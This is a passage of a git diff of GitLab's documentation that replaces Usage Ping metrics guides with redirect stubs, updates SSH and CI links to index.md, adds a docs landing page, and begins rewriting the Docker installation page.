-- `removed`: Metric was removed, but it may appear in Usage Ping payloads sent from instances running on older versions of GitLab.
-
-### Metric value_type
-
-Metric definitions can have one of the following values for `value_type`:
-
-- `boolean`
-- `number`
-- `string`
-- `object`: A metric with `value_type: object` must have `value_json_schema` with a link to the JSON schema for the object.
-In general, we avoid complex objects and prefer one of the `boolean`, `number`, or `string` value types.
-An example of a metric that uses `value_type: object` is `topology` (`/config/metrics/settings/20210323120839_topology.yml`),
-which has a related schema in `/config/metrics/objects_schemas/topology_schema.json`.
-
-### Metric time_frame
-
-- `7d`: The metric data applies to the most recent 7-day interval. For example, the following metric counts the number of users that create epics over a 7-day interval: `ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml`.
-- `28d`: The metric data applies to the most recent 28-day interval. For example, the following metric counts the number of unique users that create issues over a 28-day interval: `config/metrics/counts_28d/20210216181139_issues.yml`.
-- `all`: The metric data applies for the whole time the metric has been active (all-time interval). For example, the following metric counts all users that create issues: `/config/metrics/counts_all/20210216181115_issues.yml`.
-- `none`: The metric collects a type of data that's not tracked over time, such as settings and configuration information. Therefore, a time interval is not applicable. For example, `uuid` has no time interval applicable: `config/metrics/license/20210201124933_uuid.yml`.
-
-### Metric name
-
-To improve metric discoverability by a wider audience, each metric with
-instrumentation added at an appointed `key_path` receives a `name` attribute
-filled with the name suggestion, corresponding to the metric `data_source` and instrumentation.
-Metric name suggestions can contain two types of elements:
-
-1. **User input prompts**: Enclosed by `<>`, these pieces should be replaced or
- removed when you create a metrics YAML file.
-1. **Fixed suggestion**: Plaintext parts generated according to well-defined algorithms.
- They are based on underlying instrumentation, and should not be changed.
-
-For a metric name to be valid, it must not include any prompt, and no fixed suggestions
-should be changed.
-
-### Data category
-
-We use the following categories to classify a metric:
-
-- `Operational`: Required data for operational purposes.
-- `Optional`: Data that is optional to collect. This can be [enabled or disabled](../usage_ping/index.md#disable-usage-ping) in the Admin Area.
-- `Subscription`: Data related to licensing.
-- `Standard`: Standard set of identifiers that are included when collecting data.
-
-### Metric name suggestion examples
-
-#### Metric with `data_source: database`
-
-For a metric instrumented with SQL:
-
-```sql
-SELECT COUNT(DISTINCT user_id) FROM clusters WHERE clusters.management_project_id IS NOT NULL
-```
-
-- **Suggested name**: `count_distinct_user_id_from_<adjective describing: '(clusters.management_project_id IS NOT NULL)'>_clusters`
-- **Prompt**: `<adjective describing: '(clusters.management_project_id IS NOT NULL)'>`
- should be replaced with an adjective that best represents filter conditions, such as `project_management`
-- **Final metric name**: For example, `count_distinct_user_id_from_project_management_clusters`
-
-For metric instrumented with SQL:
-
-```sql
-SELECT COUNT(DISTINCT clusters.user_id)
-FROM clusters_applications_helm
-INNER JOIN clusters ON clusters.id = clusters_applications_helm.cluster_id
-WHERE clusters_applications_helm.status IN (3, 5)
-```
-
-- **Suggested name**: `count_distinct_user_id_from_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_<with>_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_applications_helm`
-- **Prompt**: `<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>`
- should be replaced with an adjective that best represents filter conditions
-- **Final metric name**: `count_distinct_user_id_from_clusters_with_available_clusters_applications_helm`
-
-In the previous example, the prompt is irrelevant, and user can remove it. The second
-occurrence corresponds with the `available` scope defined in `Clusters::Concerns::ApplicationStatus`.
-It can be used as the right adjective to replace prompt.
-
-The `<with>` represents a suggested conjunction for the suggested name of the joined relation.
-The person documenting the metric can use it by either:
-
-- Removing the surrounding `<>`.
-- Using a different conjunction, such as `having` or `including`.
-
-#### Metric with `data_source: redis` or `redis_hll`
-
-For metrics instrumented with a Redis-based counter, the suggested name includes
-only the single prompt to be replaced by the person working with metrics YAML.
-
-- **Prompt**: `<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>`
-- **Final metric name**: We suggest the metric name should follow the format of
- `{subject}_{verb}{ing|ed}_{object}`, such as `user_creating_epics`, `users_triggering_security_scans`,
- or `merge_requests_viewed_in_single_file_mode`
-
-#### Metric with `data_source: prometheus` or `system`
-
-For metrics instrumented with Prometheus or coming from the operating system,
-the suggested name includes only the single prompt by person working with metrics YAML.
-
-- **Prompt**: `<please fill metric name>`
-- **Final metric name**: Due to the variety of cases that can apply to this kind of metric,
- no naming convention exists. Each person instrumenting a metric should use their
- best judgment to come up with a descriptive name.
-
-### Example YAML metric definition
-
-The linked [`uuid`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/uuid.yml)
-YAML file includes an example metric definition, where the `uuid` metric is the GitLab
-instance unique identifier.
-
-```yaml
-key_path: uuid
-description: GitLab instance unique identifier
-product_category: collection
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
-value_type: string
-status: data_available
-milestone: 9.1
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1521
-time_frame: none
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-```
-
-## Create a new metric definition
-
-The GitLab codebase provides a dedicated [generator](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_definition_generator.rb) to create new metric definitions.
-
-For uniqueness, the generated file includes a timestamp prefix, in ISO 8601 format.
-
-The generator takes the key path argument and 2 options and creates the metric YAML definition in corresponding location:
-
-- `--ee`, `--no-ee` Indicates if metric is for EE.
-- `--dir=DIR` indicates the metric directory. It must be one of: `counts_7d`, `7d`, `counts_28d`, `28d`, `counts_all`, `all`, `settings`, `license`.
-
-```shell
-bundle exec rails generate gitlab:usage_metric_definition counts.issues --dir=7d
-create config/metrics/counts_7d/issues.yml
-```
-
-NOTE:
-To create a metric definition used in EE, add the `--ee` flag.
-
-```shell
-bundle exec rails generate gitlab:usage_metric_definition counts.issues --ee --dir=7d
-create ee/config/metrics/counts_7d/issues.yml
-```
-
-## Metrics added dynamic to Usage Ping payload
-
-The [Redis HLL metrics](index.md#known-events-are-added-automatically-in-usage-data-payload) are added automatically to Usage Ping payload.
-
-A YAML metric definition is required for each metric. A dedicated generator is provided to create metric definitions for Redis HLL events.
-
-The generator takes `category` and `event` arguments, as the root key will be `redis_hll_counters`, and creates two metric definitions for weekly and monthly timeframes:
-
-```shell
-bundle exec rails generate gitlab:usage_metric_definition:redis_hll issues i_closed
-create config/metrics/counts_7d/i_closed_weekly.yml
-create config/metrics/counts_28d/i_closed_monthly.yml
-```
-
-To create a metric definition used in EE, add the `--ee` flag.
-
-```shell
-bundle exec rails generate gitlab:usage_metric_definition:redis_hll issues users_closing_issues --ee
-create config/metrics/counts_7d/i_closed_weekly.yml
-create config/metrics/counts_28d/i_closed_monthly.yml
-```
+<!-- This redirect file can be deleted after <2021-10-09>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/usage_ping/metrics_instrumentation.md b/doc/development/usage_ping/metrics_instrumentation.md
index ff0dbf99a09..f2d731803b8 100644
--- a/doc/development/usage_ping/metrics_instrumentation.md
+++ b/doc/development/usage_ping/metrics_instrumentation.md
@@ -1,102 +1,9 @@
---
-stage: Growth
-group: Product Intelligence
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../service_ping/metrics_instrumentation.md'
+remove_date: '2021-10-09'
---
-# Metrics instrumentation guide
+This file was moved to [another location](../service_ping/metrics_instrumentation.md).
-This guide describes how to develop Usage Ping metrics using metrics instrumentation.
-
-## Nomenclature
-
-- **Instrumentation class**:
- - Inherits one of the metric classes: `DatabaseMetric`, `RedisHLLMetric` or `GenericMetric`.
- - Implements the logic that calculates the value for a Usage Ping metric.
-
-- **Metric definition**
- The Usage Data metric YAML definition.
-
-- **Hardening**:
- Hardening a method is the process that ensures the method fails safe, returning a fallback value like -1.
-
-## How it works
-
-A metric definition has the [`instrumentation_class`](metrics_dictionary.md) field, which can be set to a class.
-
-The defined instrumentation class should have one of the existing metric classes: `DatabaseMetric`, `RedisHLLMetric`, or `GenericMetric`.
-
-Using the instrumentation classes ensures that metrics can fail safe individually, without breaking the entire
- process of Usage Ping generation.
-
-We have built a domain-specific language (DSL) to define the metrics instrumentation.
-
-## Database metrics
-
-[Example of a merge request that adds a database metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60022).
-
-```ruby
-module Gitlab
- module Usage
- module Metrics
- module Instrumentations
- class CountBoardsMetric < DatabaseMetric
- operation :count
-
- relation { Board }
- end
- end
- end
- end
-end
-```
-
-## Redis HyperLogLog metrics
-
-[Example of a merge request that adds a `RedisHLL` metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61685).
-
-Count unique values for `i_quickactions_approve` event.
-
-```yaml
-time_frame: 28d
-data_source: redis_hll
-instrumentation_class: 'Gitlab::Usage::Metrics::Instrumentations::RedisHLLMetric'
-options:
- events:
- - i_quickactions_approve
-```
-
-## Generic metrics
-
-[Example of a merge request that adds a generic metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60256).
-
-```ruby
-module Gitlab
- module Usage
- module Metrics
- module Instrumentations
- class UuidMetric < GenericMetric
- value do
- Gitlab::CurrentSettings.uuid
- end
- end
- end
- end
- end
-end
-```
-
-## Creating a new metric instrumentation class
-
-To create a stub instrumentation for a Usage Ping metric, you can use a dedicated [generator](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_generator.rb):
-
-The generator takes the class name as an argument and the following options:
-
-- `--type=TYPE` Required. Indicates the metric type. It must be one of: `database`, `generic`, `redis_hll`.
-- `--ee` Indicates if the metric is for EE.
-
-```shell
-rails generate gitlab:usage_metric CountIssues --type database
- create lib/gitlab/usage/metrics/instrumentations/count_issues_metric.rb
- create spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb
-```
+<!-- This redirect file can be deleted after <2021-10-09>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/usage_ping/product_intelligence_review.md b/doc/development/usage_ping/product_intelligence_review.md
index 0e86a116bca..dc51e3e300a 100644
--- a/doc/development/usage_ping/product_intelligence_review.md
+++ b/doc/development/usage_ping/product_intelligence_review.md
@@ -1,91 +1,9 @@
---
-stage: Growth
-group: Product Intelligence
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../service_ping/review_guidelines.md'
+remove_date: '2021-10-09'
---
-# Product Intelligence review guidelines
+This file was moved to [another location](../service_ping/review_guidelines.md).
-This page includes introductory material for a
-[Product Intelligence](https://about.gitlab.com/handbook/engineering/development/growth/product-intelligence/)
-review, and is specific to Product Intelligence reviews. For broader advice and
-general best practices for code reviews, refer to our [code review guide](../code_review.md).
-
-## Resources for Product Intelligence reviewers
-
-- [Usage Ping Guide](index.md)
-- [Snowplow Guide](../snowplow/index.md)
-- [Metrics Dictionary](metrics_dictionary.md)
-
-## Review process
-
-We recommend a Product Intelligence review when an application update touches
-Product Intelligence files.
-
-- Changes that touch `usage_data*` files.
-- Changes to the Metrics Dictionary including files in:
- - [`config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/metrics).
- - [`ee/config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/config/metrics).
- - [`dictionary.md`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/usage_ping/dictionary.md).
- - [`schema.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/schema.json).
-- Changes to `tracking` files.
-- Changes to Product Intelligence tooling. For example,
- [`Gitlab::UsageMetricDefinitionGenerator`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_definition_generator.rb)
-
-### Roles and process
-
-#### The merge request **author** should
-
-- Decide whether a Product Intelligence review is needed.
-- If a Product Intelligence review is needed, add the labels
- `~product intelligence` and `~product intelligence::review pending`.
-- Assign an
- [engineer](https://gitlab.com/groups/gitlab-org/growth/product-intelligence/engineers/-/group_members?with_inherited_permissions=exclude) from the Product Intelligence team for a review.
-- Set the correct attributes in YAML metrics:
- - `product_section`, `product_stage`, `product_group`, `product_category`
- - Provide a clear description of the metric.
-- Update the
- [Metrics Dictionary](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/usage_ping/dictionary.md) if it is needed.
-- Add a changelog [according to guidelines](../changelog.md).
-
-##### When adding or modifying Snowplow events
-
-- For frontend events, when relevant, add a screenshot of the event in
- the [testing tool](../snowplow/index.md#developing-and-testing-snowplow) used.
-- For backend events, when relevant, add the output of the Snowplow Micro
- good events `GET http://localhost:9090/micro/good` (it might be a good idea
- to reset with `GET http://localhost:9090/micro/reset` first).
-
-#### The Product Intelligence **reviewer** should
-
-- Perform a first-pass review on the merge request and suggest improvements to the author.
-- Approve the MR, and relabel the MR with `~"product intelligence::approved"`.
-
-## Review workload distribution
-
-[Danger bot](../dangerbot.md) adds the list of Product Intelligence changed files
-and pings the
-[`@gitlab-org/growth/product-intelligence/engineers`](https://gitlab.com/groups/gitlab-org/growth/product-intelligence/engineers/-/group_members?with_inherited_permissions=exclude) group for merge requests
-that are not drafts.
-
-Any of the Product Intelligence engineers can be assigned for the Product Intelligence review.
-
-### How to review for Product Intelligence
-
-- Check the [metrics location](index.md#1-naming-and-placing-the-metrics) in
- the Usage Ping JSON payload.
-- Add `~database` label and ask for [database review](../database_review.md) for
- metrics that are based on Database.
-- For tracking using Redis HLL (HyperLogLog):
- - Check the Redis slot.
- - Check if a [feature flag is needed](index.md#recommendations).
-- For tracking with Snowplow:
- - Check that the [event taxonomy](../snowplow/index.md#structured-event-taxonomy) is correct.
- - Check the [usage recommendations](../snowplow/index.md#usage-recommendations).
-- Metrics YAML definitions:
- - Check the metric `description`.
- - Check the metrics `key_path`.
- - Check the `product_section`, `product_stage`, `product_group`, `product_category`.
- Read the [stages file](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml).
- - Check the file location. Consider the time frame, and if the file should be under `ee`.
- - Check the tiers.
+<!-- This redirect file can be deleted after <2021-10-09>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/usage_ping/review_guidelines.md b/doc/development/usage_ping/review_guidelines.md
new file mode 100644
index 00000000000..dc51e3e300a
--- /dev/null
+++ b/doc/development/usage_ping/review_guidelines.md
@@ -0,0 +1,9 @@
+---
+redirect_to: '../service_ping/review_guidelines.md'
+remove_date: '2021-10-09'
+---
+
+This file was moved to [another location](../service_ping/review_guidelines.md).
+
+<!-- This redirect file can be deleted after <2021-10-09>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/downgrade_ee_to_ce/README.md b/doc/downgrade_ee_to_ce/README.md
deleted file mode 100644
index 488d86f129d..00000000000
--- a/doc/downgrade_ee_to_ce/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-11'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-11. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/gitlab-basics/README.md b/doc/gitlab-basics/README.md
deleted file mode 100644
index 488d86f129d..00000000000
--- a/doc/gitlab-basics/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-11'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-11. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/gitlab-basics/create-project.md b/doc/gitlab-basics/create-project.md
deleted file mode 100644
index 2d9e458408a..00000000000
--- a/doc/gitlab-basics/create-project.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../user/project/working_with_projects.md'
-remove_date: '2021-05-05'
----
-
-This document was moved to [another location](../user/project/working_with_projects.md).
-
-<!-- This redirect file can be deleted after <2021-05-05>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
diff --git a/doc/gitlab-basics/create-your-ssh-keys.md b/doc/gitlab-basics/create-your-ssh-keys.md
index a99307e6dbf..673fb2911fa 100644
--- a/doc/gitlab-basics/create-your-ssh-keys.md
+++ b/doc/gitlab-basics/create-your-ssh-keys.md
@@ -1,9 +1,9 @@
---
-redirect_to: '../ssh/README.md'
+redirect_to: '../ssh/index.md'
remove_date: '2021-07-04'
---
-This document was moved to [another location](../ssh/README.md).
+This document was moved to [another location](../ssh/index.md).
<!-- This redirect file can be deleted after <2021-07-04>. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
diff --git a/doc/gitlab-basics/fork-project.md b/doc/gitlab-basics/fork-project.md
deleted file mode 100644
index f006f8b7ad6..00000000000
--- a/doc/gitlab-basics/fork-project.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../user/project/working_with_projects.md'
-remove_date: '2021-05-04'
----
-
-This document was moved to [another location](../user/project/working_with_projects.md).
-
-<!-- This redirect file can be deleted after <2021-05-04>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
diff --git a/doc/gitlab-basics/index.md b/doc/gitlab-basics/index.md
index 774931aad72..d2d0c4fad39 100644
--- a/doc/gitlab-basics/index.md
+++ b/doc/gitlab-basics/index.md
@@ -21,7 +21,7 @@ This documentation is split into the following groups:
The following are guides to basic GitLab functionality:
-- [Create and add your SSH public key](../ssh/README.md), for enabling Git over SSH.
+- [Create and add your SSH public key](../ssh/index.md), for enabling Git over SSH.
- [Create a project](../user/project/working_with_projects.md#create-a-project), to start using GitLab.
- [Create a group](../user/group/index.md#create-a-group), to combine and administer
projects together.
diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md
index f9623586e55..9b26e1f102c 100644
--- a/doc/gitlab-basics/start-using-git.md
+++ b/doc/gitlab-basics/start-using-git.md
@@ -182,7 +182,7 @@ This connection requires you to add credentials. You can either use SSH or HTTPS
Clone with SSH when you want to authenticate only one time.
-1. Authenticate with GitLab by following the instructions in the [SSH documentation](../ssh/README.md).
+1. Authenticate with GitLab by following the instructions in the [SSH documentation](../ssh/index.md).
1. Go to your project's landing page and select **Clone**. Copy the URL for **Clone with SSH**.
1. Open a terminal and go to the directory where you want to clone the files. Git automatically creates a folder with the repository name and downloads the files there.
1. Run this command:
diff --git a/doc/index.md b/doc/index.md
new file mode 100644
index 00000000000..cb8b0e67f7d
--- /dev/null
+++ b/doc/index.md
@@ -0,0 +1,126 @@
+---
+stage: none
+group: unassigned
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+comments: false
+description: 'Learn how to use and administer GitLab, the most scalable Git-based fully integrated platform for software development.'
+---
+
+<div class="d-none">
+ <h3>Visit <a href="https://docs.gitlab.com/ee/">docs.gitlab.com</a> for the latest version
+ of this help information with enhanced navigation, discoverability, and readability.</h3>
+</div>
+<!-- the div above will not display on the docs site but will display on /help -->
+
+# GitLab Docs
+
+Welcome to [GitLab](https://about.gitlab.com/) documentation.
+
+Here you can access the complete documentation for GitLab, the single application for the
+[entire DevOps lifecycle](#the-entire-devops-lifecycle).
+
+## Overview
+
+No matter how you use GitLab, we have documentation for you.
+
+| Essential documentation | Essential documentation |
+|:------------------------|:------------------------|
+| [**User documentation**](user/index.md)<br>Discover features and concepts for GitLab users. | [**Administrator documentation**](administration/index.md)<br/>Everything GitLab self-managed administrators need to know. |
+| [**Contributing to GitLab**](#contributing-to-gitlab)<br/>At GitLab, everyone can contribute! | [**New to Git and GitLab?**](#new-to-git-and-gitlab)<br/>We have the resources to get you started. |
+| [**Build an integration with GitLab**](#build-an-integration-with-gitlab)<br/>Consult our integration documentation. | [**Coming to GitLab from another platform?**](#coming-to-gitlab-from-another-platform)<br/>Consult our guides. |
+| [**Install GitLab**](https://about.gitlab.com/install/)<br/>Installation options for different platforms. | [**Customers**](subscriptions/index.md)<br/>Information for new and existing customers. |
+| [**Update GitLab**](update/index.md)<br/>Update your GitLab self-managed instance to the latest version. | [**Reference Architectures**](administration/reference_architectures/index.md)<br/>GitLab reference architectures. |
+| [**GitLab releases**](https://about.gitlab.com/releases/)<br/>What's new in GitLab. | |
+
+## Popular topics
+
+Have a look at some of our most popular topics:
+
+| Popular topic | Description |
+|:-------------------------------------------------------------------------------------------|:------------|
+| [Two-factor authentication](user/profile/account/two_factor_authentication.md) | Improve the security of your GitLab account. |
+| [GitLab groups](user/group/index.md) | Manage projects together. |
+| [GitLab CI/CD pipeline configuration reference](ci/yaml/index.md) | Available configuration options for `.gitlab-ci.yml` files. |
+| [Activate GitLab EE with a license](user/admin_area/license.md) | Activate GitLab Enterprise Edition functionality with a license. |
+| [Back up and restore GitLab](raketasks/backup_restore.md) | Rake tasks for backing up and restoring GitLab self-managed instances. |
+| [GitLab release and maintenance policy](policy/maintenance.md) | Policies for version naming and cadence, and also upgrade recommendations. |
+| [Elasticsearch integration](integration/elasticsearch.md) | Integrate Elasticsearch with GitLab to enable advanced searching. |
+| [Omnibus GitLab database settings](https://docs.gitlab.com/omnibus/settings/database.html) | Database settings for Omnibus GitLab self-managed instances. |
+| [Omnibus GitLab NGINX settings](https://docs.gitlab.com/omnibus/settings/nginx.html) | NGINX settings for Omnibus GitLab self-managed instances. |
+| [Omnibus GitLab SSL configuration](https://docs.gitlab.com/omnibus/settings/ssl.html) | SSL settings for Omnibus GitLab self-managed instances. |
+| [GitLab.com settings](user/gitlab_com/index.md) | Settings used for GitLab.com. |
+
+## The entire DevOps lifecycle
+
+GitLab is the first single application for software development, security,
+and operations that enables [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/).
+GitLab makes the software lifecycle faster and radically improves the speed of business.
+
+GitLab provides solutions for [each of the stages of the DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/).
+
+## New to Git and GitLab?
+
+Working with new systems can be daunting.
+
+We have the following documentation to rapidly uplift your GitLab knowledge:
+
+| Topic | Description |
+|:--------------------------------------------------------------------------------------------------|:------------|
+| [GitLab basics guides](gitlab-basics/index.md) | Start working on the command line and with GitLab. |
+| [What is GitLab Flow?](https://about.gitlab.com/topics/version-control/what-is-gitlab-flow/) | Enhance your workflow with the best of GitLab Flow. |
+| [Get started with GitLab CI/CD](ci/quick_start/index.md) | Quickly implement GitLab CI/CD. |
+| [Auto DevOps](topics/autodevops/index.md) | Learn more about Auto DevOps in GitLab. |
+| [GitLab Markdown](user/markdown.md) | Advanced formatting system (GitLab Flavored Markdown). |
+
+### User account
+
+Learn more about GitLab account management:
+
+| Topic | Description |
+|:-----------------------------------------------------------|:------------|
+| [User account](user/profile/index.md) | Manage your account. |
+| [Authentication](topics/authentication/index.md) | Account security with two-factor authentication, set up your SSH keys, and deploy keys for secure access to your projects. |
+| [User settings](user/profile/index.md#access-your-user-settings) | Manage your user settings, two factor authentication, and more. |
+| [User permissions](user/permissions.md) | Learn what each role in a project can do. |
+
+### Git and GitLab
+
+Learn more about using Git, and using Git with GitLab:
+
+| Topic | Description |
+|:-----------------------------------------------------------------------------|:------------|
+| [Git](topics/git/index.md) | Getting started with Git, branching strategies, Git LFS, and advanced use. |
+| [Git cheat sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf) | Download a PDF describing the most used Git operations. |
+| [GitLab Flow](topics/gitlab_flow.md) | Explore the best of Git with the GitLab Flow strategy. |
+
+## Coming to GitLab from another platform
+
+If you are coming to GitLab from another platform, the following information is useful:
+
+| Topic | Description |
+|:----------------------------------------------------|:------------|
+| [Importing to GitLab](user/project/import/index.md) | Import your projects from GitHub, Bitbucket, GitLab.com, FogBugz, and SVN into GitLab. |
+| [Migrating from SVN](user/project/import/svn.md) | Convert a SVN repository to Git and GitLab. |
+
+## Build an integration with GitLab
+
+There are many ways to integrate with GitLab, including:
+
+| Topic | Description |
+|:-------------------------------------------|:------------|
+| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. |
+| [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. |
+| [Integrations](integration/index.md) | Integrations with third-party products. |
+
+## Contributing to GitLab
+
+GitLab Community Edition is [open source](https://gitlab.com/gitlab-org/gitlab-foss/)
+and GitLab Enterprise Edition is [open-core](https://gitlab.com/gitlab-org/gitlab/).
+
+Learn how to contribute to GitLab with the following resources:
+
+| Topic | Description |
+|:------------------------------------------------------------|:------------|
+| [Development](development/index.md) | How to contribute to GitLab development. |
+| [Legal](legal/index.md) | Contributor license agreements. |
+| [Writing documentation](development/documentation/index.md) | How to contribute to GitLab Docs. |
diff --git a/doc/install/README.md b/doc/install/README.md
deleted file mode 100644
index 488d86f129d..00000000000
--- a/doc/install/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-11'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-11. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md
index 9444c16f7ad..5abc4bd3122 100644
--- a/doc/install/aws/index.md
+++ b/doc/install/aws/index.md
@@ -722,7 +722,7 @@ that you can ping and get reports.
## GitLab Runner
-If you want to take advantage of [GitLab CI/CD](../../ci/README.md), you have to
+If you want to take advantage of [GitLab CI/CD](../../ci/index.md), you have to
set up at least one [runner](https://docs.gitlab.com/runner/).
Read more on configuring an
@@ -841,6 +841,6 @@ If you see this page when trying to set a password via the web interface, make s
### Some job logs are not uploaded to object storage
-When the GitLab deployment is scaled up to more than one node, some job logs may not be uploaded to [object storage](../../administration/object_storage.md) properly. [Incremental logging is required](../../administration/object_storage.md#incremental-logging-is-required-for-ci-to-use-object-storage) for CI to use object storage.
+When the GitLab deployment is scaled up to more than one node, some job logs may not be uploaded to [object storage](../../administration/object_storage.md) properly. [Incremental logging is required](../../administration/object_storage.md#other-alternatives-to-file-system-storage) for CI to use object storage.
Enable [incremental logging](../../administration/job_logs.md#enable-or-disable-incremental-logging) if it has not already been enabled.
diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md
index 1351489642e..9d9d06b2206 100644
--- a/doc/install/azure/index.md
+++ b/doc/install/azure/index.md
@@ -71,7 +71,7 @@ The first items you need to configure are the basic settings of the underlying v
the user Azure uses to connect to the VM through SSH. By default, the user
has root access.
1. Determine if you want to provide your own SSH key or let Azure create one for you.
- Read the [SSH documentation](../../ssh/README.md) to learn more about how to set up SSH
+ Read the [SSH documentation](../../ssh/index.md) to learn more about how to set up SSH
public keys.
Review your entered settings, and then proceed to the Disks tab.
@@ -226,7 +226,7 @@ The credentials are:
- Username: `root`
- Password: the password is automatically created, and there are [two ways to
- find it](https://docs.bitnami.com/azure/faq/get-started/find-credentials).
+ find it](https://docs.bitnami.com/azure/faq/get-started/find-credentials/).
After signing in, be sure to immediately [change the password](../../user/profile/index.md#change-your-password).
diff --git a/doc/install/docker.md b/doc/install/docker.md
index 064c93776a8..a6bc18bd374 100644
--- a/doc/install/docker.md
+++ b/doc/install/docker.md
@@ -2,17 +2,638 @@
stage: Enablement
group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: index
---
-# Install GitLab with Docker **(FREE SELF)**
+# GitLab Docker images
-[Docker](https://www.docker.com) and container technology have been revolutionizing the software world for the past few years. They combine the performance and efficiency of native execution with the abstraction, security, and immutability of virtualization.
+The GitLab Docker images are monolithic images of GitLab running all the
+necessary services in a single container. If you instead want to install GitLab
+on Kubernetes, see [GitLab Helm Charts](https://docs.gitlab.com/charts/).
-GitLab provides official Docker images allowing you to easily take advantage of the benefits of containerization while operating your GitLab instance. A [complete usage guide](https://docs.gitlab.com/omnibus/docker/) for these images is available, as well as the [Dockerfile used for building the images](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/docker).
+Find the GitLab official Docker image at:
-There's also a [Docker image for GitLab Runner](https://docs.gitlab.com/runner/install/docker.html).
+- [GitLab Docker image in Docker Hub](https://hub.docker.com/r/gitlab/gitlab-ee/)
-## Cloud native images
+The Docker images don't include a mail transport agent (MTA). The recommended
+solution is to add an MTA (such as Postfix or Sendmail) running in a separate
+container. As another option, you can install an MTA directly in the GitLab
+container, but this adds maintenance overhead as you'll likely need to reinstall
+the MTA after every upgrade or restart.
-GitLab is also working towards a [cloud native set of containers](https://docs.gitlab.com/charts/), with a single image for each component service.
+In the following examples, if you want to use the latest RC image, use
+`gitlab/gitlab-ee:rc` instead.
+
+WARNING:
+Docker for Windows is not officially supported. There are known issues with volume
+permissions, and potentially other unknown issues. If you are trying to run on Docker
+for Windows, see the [getting help page](https://about.gitlab.com/get-help/) for links
+to community resources (IRC, forum, etc.) to seek help from other users.
+
+## Prerequisites
+
+Docker is required. See the [official installation documentation](https://docs.docker.com/install/).
+
+## Set up the volumes location
+
+Before setting everything else, configure a new environment variable `$GITLAB_HOME`
+pointing to the directory where the configuration, logs, and data files will reside.
+Ensure that the directory exists and appropriate permission have been granted.
+
+For Linux users, set the path to `/srv/gitlab`:
+
+```shell
+export GITLAB_HOME=/srv/gitlab
+```
+
+For macOS users, use the user's `$HOME/gitlab` directory:
+
+```shell
